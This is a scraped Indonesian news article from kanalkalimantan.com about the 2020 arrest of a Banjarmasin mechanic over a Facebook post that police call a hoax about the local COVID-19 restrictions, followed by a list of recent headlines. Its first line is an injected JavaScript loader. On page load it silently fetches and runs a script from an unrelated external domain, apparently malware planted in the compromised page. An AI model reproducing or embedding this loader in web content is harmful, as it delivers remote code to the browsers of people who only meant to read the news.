(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kriminal Banjarmasin

Bikin Hoaks Soal PSBB Banjarmasin, Facrul Minta Maaf Setelah Ditangkap Polisi


KANALKALIMANTAN.COM, BANJARMASIN – Usai ditangkap polisi gara-gara postingannya di media sosial (medsos), kini Fachrulraji (37), warga Jl Pramuka, Km 6, Gang Melati 3, Banjarmasin Timur, hanya bisa menyesali perbuatannya. Ia pun meminta maaf atas postingan yang mengandung unsur ujaran kebencian dan hoaks yang diunggah pada Minggu (10/5/2020) lalu.

Sebelumnya, Fachrul sempat menghina pemerintah dan menuliskan adanya korupsi di kelurahan Banjarmasin. Di mana orang yang negatif Covid-19 disuruh mengaku positif oleh pemerintah setempat, dan ia juga menyebut pemerintah tidur saja.

Kepada polisi, pelaku mengakui, jika perbuatannya itu karena terbawa emosi, dan tidak mengetahui terkait pelanggaran UU ITE. “Saya khilaf dan juga kita meminta maaf, dan saya tidak tahu sama sekali sama kalau memposting seperti itu akan kena hukum,” kata Fachrul.

Tak lama setelah postingannya tersebut, jajaran Polresta Banjarmasin berhasil menangkap pelaku dengan tuduhan melakukan ujaran kebencian yang menggunakan aplikasi Facebook terkait pemerintah dalam menangani Covid-19 yang hanya tidur saja. Pelaku diketahui seorang mekanik bengkel.

Pelaku pun akhirnya ditangkap di rumahnya, di Jl Pramuka, Km 6, Gang Melati 3, Banjarmasin Timur, Selasa (12/5/2020). Wakapolresta Banjarmasin AKBP Sabana Atmojo menerangkan, penangkapan berawal saat Wali Kota Banjarmasin, Ibnu Sina mengirim pesan terkait pemilik akun Fachrulraji yang dinilai telah meresahkan masyarakat. “Nah saat itu juga kita langsung lakukan lidik dan tracing pelacakan, kurun waktu hanya beberapa jam saja, pagi tadi dia sudah tertangkap,” ungkapnya.

“Seakan dia mengulurkan kalimat itu benar. Padahal sama sekali tidak ada orang negatif disuruh ngaku positif demi proyek, dikasih uang Rp400 ribu dikarantina, tidak ada,” kata AKBP Sabana. (Kanalkalimantan.com/Fikri)

 

Reporter : Fikri
Editor : Cell

 


Desy Arfianty

Recent Posts

Helpdesk Pilkada 2024 Dibuka, Tidak Ada Paslon Perseorangan ke KPU Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Persiapan pencalonan bakal pasangam calon (Paslon) melalui jalur dukungan perseorangan telah dibuka… Read More

32 menit ago

Dapat Lima Paket Sabu dari Kenalan, Lelaki di Banjarmasin Diringkus Polisi

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Timur menangkap seorang lelaki inisial AH (48) karena… Read More

1 jam ago

Ada Pungli di Kawasan Candi Agung Amuntai, Polisi Turun ke Lokasi

KANALKALIMANTAN.COM, AMUNTAI - Obyek wisata situs Candi Agung Amuntai kerap dikunjungi wisatawan dari dalam maupun… Read More

2 jam ago

Empat Nama Masuk Penjaringan Partai Nasdem Kalsel, Melirik Pilkada Banjarmasin, Tabalong, dan HSS

KANALKALIMANTAN.COM, BANJARBARU - Empat nama masuk dalam penjaringan bakal calon kepala daerah di Kalimantan Selatan… Read More

2 jam ago

Lolos Verifikasi Jalur Calon Perseorangan Lalu Mundur Diri, Siap-siap Kena Sanksi

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More

15 jam ago

Hadapi Satu Wasaka Award, Bappedalitbang Banjar Kumpulkan SKPD Terkait

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More

15 jam ago

This website uses cookies.